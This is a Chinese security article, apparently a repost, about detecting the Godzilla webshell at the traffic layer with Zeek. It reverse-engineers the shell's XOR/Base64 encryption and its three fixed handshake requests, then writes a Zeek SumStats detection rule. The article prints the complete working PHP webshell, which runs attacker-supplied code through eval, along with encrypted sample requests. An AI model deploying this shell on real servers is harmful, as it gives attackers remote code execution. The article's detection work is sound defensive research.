巧用Zeek在流量层狩猎哥斯拉Godzilla

admin 2021年4月24日20:30:11评论114 views字数 5644阅读18分48秒阅读模式

巧用Zeek在流量层狩猎哥斯拉Godzilla

 




前言



“过市面所有静态查杀”、“流量加密过市面全部流量waf”,伴随着这样的标签,哥斯拉在今年的攻防演练活动中成功亮相。这是赐给红队的又一把尖刀,也让防守队雪上加霜。截至目前,主机层面的主流查杀工具均已覆盖了哥斯拉webshell静态规则,但流量层面的检测可能仍然要打一个问号。

 




webshell分析



关于哥斯拉的功能,通过《攻防礼盒:哥斯拉Godzilla Shell管理工具》这篇文章可以有比较全面的了解。nercis在《哥斯拉Godzilla运行原理探寻》一文中通过生成的jsp版shell和客户端jar包向大家介绍了其运行原理。

由于哥斯拉在处理jsp和php时加密方式存在差异,本文将从php版的shell展开,对其运行原理再做一下总结和阐述。

先生成一个php静态shell,加密器选择PHP_XOR_BASE64。

巧用Zeek在流量层狩猎哥斯拉Godzilla

生成的shell代码如下:

<?php    session_start();    @set_time_limit(0);    @error_reporting(0);    function E($D,$K){        for($i=0;$i<strlen($D);$i++) {            $D[$i] = $D[$i]^$K[$i+1&15];        }        return $D;    }    function Q($D){        return base64_encode($D);    }    function O($D){        return base64_decode($D);    }    $P='s4kur4';    $V='payload';    $T='85f35deb278e136e';    if (isset($_POST[$P])){        $F=O(E(O($_POST[$P]),$T));        if (isset($_SESSION[$V])){            $L=$_SESSION[$V];            $A=explode('|',$L);            class C{public function nvoke($p) {eval($p."");}}            $R=new C();            $R->nvoke($A[0]);            echo substr(md5($P.$T),0,16);            echo Q(E(@run($F),$T));            echo substr(md5($P.$T),16);        }else{            $_SESSION[$V]=$F;        }    }

其中比较核心的地方有两处,第一处是进行异或加密和解密的函数E($D,$K),第二处是嵌套的两个if对哥斯拉客户端上传的代码做执行并得到结果。根据$F=O(E(O($_POST[$P]),$T));这行做逆向判断,可以得到哥斯拉客户端上传代码时的编码加密过程:

原始代码 -> Base64编码 -> E函数进行异或加密 -> 再Base64编码

为了使客户端分离出结果,三个echo利用md5值作为分离标志,将得到的代码执行结果进行拼接:

md5($P.$T)前16位
结果 -> E函数进行异或加密 -> Base64编码
md5($P.$T)后16位

另外,根据$_SESSION[$V]=$F;这行判断,客户端首次连接shell时会在$_SESSION中保存一段代码,叫payload。结合后面突然出现的函数run,猜测这个payload在后续shell连接过程中可能会被调用。整个shell的运行原理到这里基本就能明确了,可以用下面的流程图来总结:

巧用Zeek在流量层狩猎哥斯拉Godzilla

 




特征提取



通常,流量层面对恶意行为进行检测,倾向于筛选出一些强特征、固定特征。例如检测使用ceye.io进行的OOB通信,只需要去匹配流量中包含.+.ceye.io的DNS请求,通过四元组即可判断受害主机和攻击者IP,这里ceye.io关键字就是固定特征。固定特征具有一致性、不易改变的特点,就好似与生俱来的特点。

挖掘哥斯拉强特征

如何寻找哥斯拉的流量特征呢?最先想到的是先前冰蝎的捕获经验,即在shell的建连初期出现的强特征。至于HTTP头部的UA等特征,由于其易被改变,因此暂不考虑。开启Wireshark设置过滤条件,重新打开哥斯拉客户端并添加生成的shell(点击“阅读原文”查看演示动图)

此时未出现任何流量。继续右键进入,哥斯拉会返回目标的相关信息,Wireshark瞬间出现3个http包:
巧用Zeek在流量层狩猎哥斯拉Godzilla
跟踪http流,发现3个http包处在同一TCP中,说明哥斯拉使用了TCP长连接,这对流量特征分析比较有利。对这3个http包逐个分析一下。
从shell的代码已知,客户端首次连接shell会上传一段代码payload,以备后续操作调用。查看其请求,发现内容长度居然超过23000字节。同时,http响应内容为空:
巧用Zeek在流量层狩猎哥斯拉Godzilla
使用$F=O(E(O($_POST[$P]),$T))对这一长串内容进行解密,得到payload的原始内容。好家伙,包含run、bypass_open_basedir、formatParameter、evalFunc等二十多个功能函数,具备代码执行、文件操作、数据库操作等诸多功能。
第二个http的请求内容为:
s4kur4=VzFlBQUiW1ljVSNFaWJUU2dXaQM%2BICcLZ2lYDA%3D%3D
解密得到原始代码methodName=dGVzdA==,即methodName=test。跟踪执行过程,发现最终目的是测试shell的连通情况,并向客户端打印输出ok。这个过程是典型的固定特征,与第一个http请求一样,上传的原始代码是固定的。
第三个http的作用是获取目标的环境信息,请求内容为:
s4kur4=VzFlBQUiW1ljVSNFaWJUWXgKakIxMlN1UlUjaWdYFWxjHGVBPQsBC2dpWAw%3D
解密得到原始代码methodName=Z2V0QmFzaWNzSW5mbw==,即methodName=getBasicsInfo。此操作调用payload中的getBasicsInfo方法获取目标环境信息向客户端返回。显然,这个过程又是一个固定特征。
至此,成功挖掘到哥斯拉客户端与shell建连初期的三个固定行为特征,且顺序出现在同一个TCP连接中。可以总结为:
特征:发送一段固定代码(payload),http响应为空
特征:发送一段固定代码(test),执行结果为固定内容
特征:发送一段固定代码(getBacisInfo)

强特征规则化

明确了三个紧密关联的特征后,需要对特征规则化。由于对内容的加密,即使哥斯拉每次都发送一段固定代码,检测引擎也无法通过规则直接匹配。另外,webshell的密码、密钥均不固定,代码加密后的密文也不同。
回看webshell代码,$P和$T在生成时属于非固定值,但在shell连接的整个生命周期,却又是固定值。$T是密钥的md5值前16位,属于唯一的加密因子,被用于与原始代码进行异或。哥斯拉进行异或加密时,循环使用加密因子$T的每一位与被加密字符串进行异或位运算。这就引出了第一个真理:
  • 长度为l的字符串与长度为n的加密因子循环按位异或,密文的长度为l
可以取出shell中的E函数,计算随机字符串的md5对固定字符串做异或,进行穷举验证:
巧用Zeek在流量层狩猎哥斯拉Godzilla
对于哥斯拉中频繁使用的Base64编码,又会引出真理二:
  • 长度为l的字符串进行Base64编码后长度为定值
熟悉Base64编码过程的同学应该知道,Base64本质上是由二进制向字符串转换的过程。对长度固定的随机字符串进行Base64编码,穷举验证:
巧用Zeek在流量层狩猎哥斯拉Godzilla
现在基本可以下结论了,即哥斯拉上传的三个固定代码,密文的长度是固定的。计算了一下,分别是23068、40、60。如此一来就能总结出以下三条规则:
巧用Zeek在流量层狩猎哥斯拉Godzilla
 



Zeek巧妙落地



对规则的落地要依托流量层检测的基础设施,上面总结出的三条规则具有上下文关联性,传统的IDS无法直接实现。这里的难点在于,需要一次性对三个数据包做实时判断,并且需要对包内容做一些字符串的切割、解码操作。能想到的要么是大数据实时计算,要么是Zeek了。
想必熟悉Zeek的同学一定了解其统计框架Summary Statistics,你可以对符合特定条件的数据进行统计、计算。例如统计同一个源IP发起的SSH登录行为并计算次数,在某个时间段内超过阈值$threshold就产生一条SSH暴力破解的告警。在哥斯拉的场景里,可以巧妙的用Zeek统计框架收集同一TCP连接中的http数据。Zeek脚本语言也完全满足统计数据以后的匹配计算。
先创建一个统计实例,设置延时$epoch为10秒,统计阈值$threshold为3,即统计10秒钟内产生的连续3个http包。当事件http_message_done发生时执行统计并收集数据:
event http_message_done(c: connection, is_orig: bool, stat: http_message_stat){  if ( c?$http && c$http?$status_code && c$http?$method )  {    if ( c$http$status_code == 200 && c$http$method == "POST" )      {        local key_str: string = c$http$uid + "$_$" + cat(c$id$orig_h) + "$_$" + cat(c$id$orig_p) + "$_$" + cat(c$http$status_code) + "$_$" + cat(c$id$resp_h)+ "$_$" + cat(c$id$resp_p) + "$_$" + c$http$uri;        local observe_str: string = cat(c$http$ts) + "$_$" + c$http$client_body + "$_$" + c$http$server_body;        SumStats::observe("godzilla_webshell_event", SumStats::Key($str=key_str), SumStats::Observation($str=observe_str));      }  }}其中,统计条件为同一TCP连接中HTTP响应为200的数据包,并且具备相同的URI。收集的数据内容主要为包的捕获时间、http请求内容、http响应内容。收集到符合这些条件的数据后数据被带进$threshold_crossed,此处开始对三个http包进行解析匹配:if ( |result["godzilla_webshell_event"]$unique_vals| == 3 ){ for ( value in result["godzilla_webshell_event"]$unique_vals ) {  local observe_str_vector: vector of string = split_string(value$str, /$_$/);
# 对请求内容进行URL解码 observe_str_vector[1] = unescape_URI(observe_str_vector[1]);
local request_body_only_value: string; # 从请求中分离出加密代码部分 request_body_only_value = observe_str_vector[1][strstr(observe_str_vector[1], "=") : |observe_str_vector[1]|];
# 规则1: # 发送的加密代码长度为23068 && HTTP响应内容为空 if ( |request_body_only_value| == 23068 && |observe_str_vector[2]| == 0 ) { sig1 = T; }
local response_body: string = observe_str_vector[2]; # 规则2: # 加密代码长度为40 && HTTP响应内容长度为40 && 响应内容首尾各16位md5字符串 if ( |request_body_only_value| == 40 && |response_body| == 40 && response_body == find_last(response_body, /[a-z0-9]{16}.+[a-z0-9]{16}/) ) { sig2 = T; }
# 规则3: # 发送的加密代码长度为60 && 响应内容首尾各16位md5字符串 if ( |request_body_only_value| == 60 && response_body == find_last(response_body, /[a-z0-9]{16}.+[a-z0-9]{16}/) ) { sig3 = T; } }
# 三个规则同时符合,进行告警 if ( sig1 && sig2 && sig3 ) { print fmt("[+] Godzilla traffic detected, %s:%s -> %s:%s, webshell URI: %s", key_str_vector[1], key_str_vector[2], key_str_vector[4], key_str_vector[5], key_str_vector[6]); }}
代码实现后,在服务器端启动PHP环境放置哥斯拉shell,启动Zeek监听网卡。本地客户端添加shell后点击进入,顺利打印出告警,令人欣慰(点击“阅读原文”查看演示动图)




总结



本文从哥斯拉php版的异或加密shell出发,探索了一种流量层检测哥斯拉的思路和方法。由于哥斯拉php版shell还有另一种加密器,还支持jsp版、.net版等多种情况,鉴于篇幅和工作量,本文未做一一分析和覆盖。正如文章前言所述,其实这样的检测分析文章不舍得发,一旦发了可能才是检测困难真正的开始。
巧用Zeek在流量层狩猎哥斯拉Godzilla

- End -
精彩推荐

入侵检测系列1(中)基于私有协议的加密流量分析思路(Teamviewer篇)

笑着走向终结:Flash喜迎最后一次更新

托管服务提供商Netgain的数据中心因勒索软件而被迫下线

NortonLifeLock3.6亿美元收购Avira


巧用Zeek在流量层狩猎哥斯拉Godzilla


戳“阅读原文”查看更多内容

本文始发于微信公众号(安全客):巧用Zeek在流量层狩猎哥斯拉Godzilla

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月24日20:30:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   巧用Zeek在流量层狩猎哥斯拉Godzillahttps://cn-sec.com/archives/205885.html

发表评论

匿名网友 填写信息